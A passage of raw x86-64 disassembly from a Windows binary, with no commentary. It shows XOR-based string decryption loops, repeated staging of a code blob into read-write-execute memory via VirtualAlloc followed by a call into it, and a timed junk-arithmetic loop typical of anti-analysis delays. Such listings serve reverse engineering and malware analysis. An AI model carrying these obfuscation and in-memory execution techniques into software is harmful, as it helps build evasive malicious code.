movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140236440
cmp r9d, 0x37
jge 0x140236631
movsxd rax, r9d
lea r10, [rsp + 0x458]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x37
jl 0x1402365e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a8], xmm0
mov qword [rsp + 0x3b8], rdi
mov qword [rsp + 0x3c0], rdi
lea rax, [rsp + 0x458]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140236660
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x3a8]
call fcn.1402071a0
lea rcx, [rsp + 0x3a8]
call fcn.1401fab60
lea rbx, [0x1402091f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028fa60]
lea r12, [0x1402435a0]
test rax, rax
je 0x140236710
mov rdx, rdi
cmp rax, r12
je 0x1402366ff
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28fa60]
test rax, rax
jne 0x1402366e7
jmp 0x140236710
mov rdx, qword [rsi + rdx*8 + 0x2913c0]
test rdx, rdx
jne 0x1402367f1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140236739
mov rdx, rdi
jmp 0x1402367d0
mov rax, r12
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140236742
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290728]
mov qword [rsi + rax*8 + 0x28fa60], r12
mov qword [rsi + rax*8 + 0x2913c0], rdx
inc rax
mov qword [0x140290728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
lea rbx, [0x1402015a0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028fa60]
test rax, rax
je 0x140236899
mov rdx, rdi
nop dword [rax]
cmp rax, r12
je 0x140236888
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28fa60]
test rax, rax
jne 0x140236870
jmp 0x140236899
mov rdx, qword [rsi + rdx*8 + 0x2913c0]
test rdx, rdx
jne 0x14023697f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1402368c2
mov rdx, rdi
jmp 0x14023695e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1402368d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290728]
mov qword [rsi + rax*8 + 0x28fa60], r12
mov qword [rsi + rax*8 + 0x2913c0], rdx
inc rax
mov qword [0x140290728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x8334], 0xffffffff
mov dword [rsp + 0x6fb4], eax
mov ebx, 1
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x6fb4], eax
inc rdx
cmp rdx, 0x270
jb 0x1402369d0
mov dword [rsp + 0x6fb0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r14, qword [rsp + 0xbb0]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x870]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x140236bae
mov r15d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140236a7b
nop dword [rax + rax]
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140236a60
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xbb0], eax
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140236acb
nop
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140236ab0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140236b1b
nop
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140236b00
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140236b6b
nop
lea rcx, [rsp + 0x6fb0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140236b50
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xbb0]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r15, rbx
jne 0x140236a40
jmp 0x140236a20
mov eax, dword [rsp + 0x40]
lea rbx, [0x1401f3aa0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028fa60]
test rax, rax
mov r15, 0xffffffffffffffff
je 0x140236c40
mov rdx, rdi
cmp rax, r12
je 0x140236c2f
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28fa60]
test rax, rax
jne 0x140236c17
jmp 0x140236c40
mov rdx, qword [rsi + rdx*8 + 0x2913c0]
test rdx, rdx
jne 0x140236d21
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140236c69
mov rdx, rdi
jmp 0x140236d00
mov rax, r12
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140236c72
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290728]
mov qword [rsi + rax*8 + 0x28fa60], r12
mov qword [rsi + rax*8 + 0x2913c0], rdx
inc rax
mov qword [0x140290728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [0x140276018]
movups xmmword [rsp + 0x428], xmm0
movups xmm1, xmmword [0x140276028]
movups xmmword [rsp + 0x438], xmm1
movsd xmm0, qword [0x140276038]
movsd qword [rsp + 0x448], xmm0
mov eax, dword [0x140276040]
mov dword [rsp + 0x450], eax
mov r9d, edi
mov ebx, dword [0x14028a090]
cmp ebx, 2
jl 0x140236f33
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x42c]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140236db0
cmp r9d, 0x2c
jge 0x140236fa1
movsxd rax, r9d
lea r10, [rsp + 0x428]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x140236f50
xorps xmm0, xmm0
movups xmmword [rsp + 0x3e8], xmm0
mov qword [rsp + 0x3f8], rdi
mov qword [rsp + 0x400], rdi
lea rax, [rsp + 0x428]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140236fd0
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0x3e8]
call fcn.1402071a0
lea rcx, [rsp + 0x3e8]
call fcn.1401fab60
nop
call fcn.140210de0
cmp qword [0x14028d440], 5
jae 0x14023730e
movsd xmm0, qword [0x140276fd8]
movsd qword [rsp + 0xb8], xmm0
mov ecx, dword [0x140276fe0]
mov dword [rsp + 0xc0], ecx
movzx eax, word [0x140276fe4]
mov word [rsp + 0xc4], ax
cmp byte [0x140276fe5], 0
je 0x1402372e1
mov r9d, edi
cmp ebx, 2
jl 0x140237274
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140276fd8]
xorps xmm2, xmm0
movd dword [rsp + 0xb8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xbc]
xorps xmm2, xmm1
movd dword [rsp + 0xbc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xc0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140237290
lea rax, [rsp + 0xb8]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402372f0
lea rdx, [rsp + 0xb8]
lea rcx, [0x14028d430]
call fcn.140241270
lea rcx, [rsp + 0xac0]
call fcn.140210230
mov rdx, rax
lea rcx, [0x14028d1b0]
call fcn.14023f6a0
lea rcx, [rsp + 0xac0]
call fcn.140240fd0
nop
jmp 0x1402373b0
lea rbx, [0x1401fcb90]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028fa60]
test rax, rax
je 0x14023742d
mov rdx, rdi
cmp rax, r12
je 0x14023741c
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28fa60]
test rax, rax
jne 0x140237404
jmp 0x14023742d
mov rdx, qword [rsi + rdx*8 + 0x2913c0]
test rdx, rdx
jne 0x14023750f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140237456
mov rdx, rdi
jmp 0x1402374ee
mov rax, r12
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140237460
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290728]
mov qword [rsi + rax*8 + 0x28fa60], r12
mov qword [rsi + rax*8 + 0x2913c0], rdx
inc rax
mov qword [0x140290728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
mov qword [rsp + 0xbd0], rax
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [0x140277970]
movups xmmword [rsp + 0x690], xmm0
movups xmm1, xmmword [0x140277980]
movups xmmword [rsp + 0x6a0], xmm1
movups xmm0, xmmword [0x140277990]
movups xmmword [rsp + 0x6b0], xmm0
movups xmm1, xmmword [0x1402779a0]
movups xmmword [rsp + 0x6c0], xmm1
movsd xmm0, qword [0x1402779b0]
movsd qword [rsp + 0x6d0], xmm0
mov eax, dword [0x1402779b8]
mov dword [rsp + 0x6d8], eax
movzx eax, word [0x1402779bc]
mov word [rsp + 0x6dc], ax
movzx eax, byte [0x1402779be]
mov byte [rsp + 0x6de], al
mov r9d, edi
mov ebx, dword [0x14028a090]
cmp ebx, 2
jl 0x140237753
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x694]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x1402375d0
cmp r9d, 0x4f
jge 0x1402377c1
movsxd rax, r9d
lea r10, [rsp + 0x690]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
